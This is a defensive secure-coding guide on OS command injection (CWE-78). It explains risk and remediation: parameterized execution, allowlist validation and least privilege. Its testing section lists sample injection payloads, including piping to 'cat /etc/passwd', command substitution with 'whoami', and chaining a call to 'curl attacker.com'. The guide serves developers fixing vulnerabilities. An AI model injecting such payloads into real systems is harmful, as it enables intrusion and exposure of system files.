CWE-78: OS Command Injection
Overview
OS Command Injection occurs when an application incorporates untrusted data into an operating system command without proper validation or sanitization. Attackers can execute arbitrary commands on the host operating system.
OWASP Classification
A05:2025 - Injection
Risk
Critical: Can lead to complete system compromise, data theft, or denial of service. Exploitation typically results in immediate arbitrary code execution with application privileges.
Relationship to Other CWEs
- CWE-77 (Command Injection): Focuses on shell metacharacter injection that alters command structure.
- CWE-78 (This page): A broader category commonly used by tools to report OS command injection issues, often mapping to CWE-77 or CWE-88 in root cause analysis.
- CWE-88 (Argument Injection): Focuses on injecting flags or options into commands without invoking a shell.
Remediation Steps
Core principle: Never execute operating system commands constructed from untrusted input; eliminate shell execution entirely and use safe, parameterized system APIs when OS interaction is unavoidable.
Trace the Data Path
Analyze the data_path from source to sink to understand how untrusted data reaches the command execution:
- Source: Identify where untrusted data enters (user input, external file, database, network request)
- Sink: Locate the system execution function (
exec(),system(),Runtime.exec(), etc.) - Validation gaps: Check each frame between source and sink for missing sanitization
Eliminate System Calls (Preferred)
The safest approach is to avoid executing system commands entirely. Replace with native language APIs:
- File operations: Use language-native file I/O APIs instead of shell commands
- Network operations: Use HTTP/socket libraries instead of
curl,wget, etc. - Process management: Use language process/threading APIs instead of shell scripts
Use Parameterized Execution
If system commands are unavoidable, use APIs that separate commands from arguments:
- Never concatenate untrusted data into command strings
- Use argument arrays where the command and parameters are separate elements
- Disable shell invocation (avoid
sh -c,cmd /c,shell=True, etc.) - Consult language-specific guidance below for safe API usage
Add Input Validation (Defense in Depth)
Even with parameterized execution, validate all untrusted data:
- Allowlist permitted characters (alphanumeric only if possible)
- Reject any input containing shell metacharacters as part of strict allowlist validation:
; | & $ > < \` \n ( )` - Validate format against expected patterns (e.g., filenames, IP addresses)
- Use absolute paths to prevent directory traversal attacks
Apply Least Privilege
Limit the impact of potential exploitation:
- Run the application with minimal OS permissions
- Use sandboxing or containerization to isolate processes
- Never run as root/administrator unless absolutely necessary
Test with Malicious Inputs
Verify your fixes by testing with command injection payloads:
; lsor; dir(command chaining)| cat /etc/passwdor| type C:\Windows\win.ini(piping)$(whoami)or`whoami`(command substitution)&& curl attacker.com(conditional execution)
Language-Specific Guidance
For detailed, framework-specific code examples and patterns, see:
- C# - Process.Start with argument validation
- Java - ProcessBuilder, Runtime.exec() with argument arrays
- JavaScript - child_process spawn/execFile without shell
- PHP - escapeshellarg, proc_open with secure patterns
- Python - subprocess, os.system with secure alternatives
Dynamic Scan Guidance
For guidance on remediating this CWE when detected by dynamic (DAST) scanners:
- Dynamic Scan Guidance - Analyzing DAST findings and mapping to source code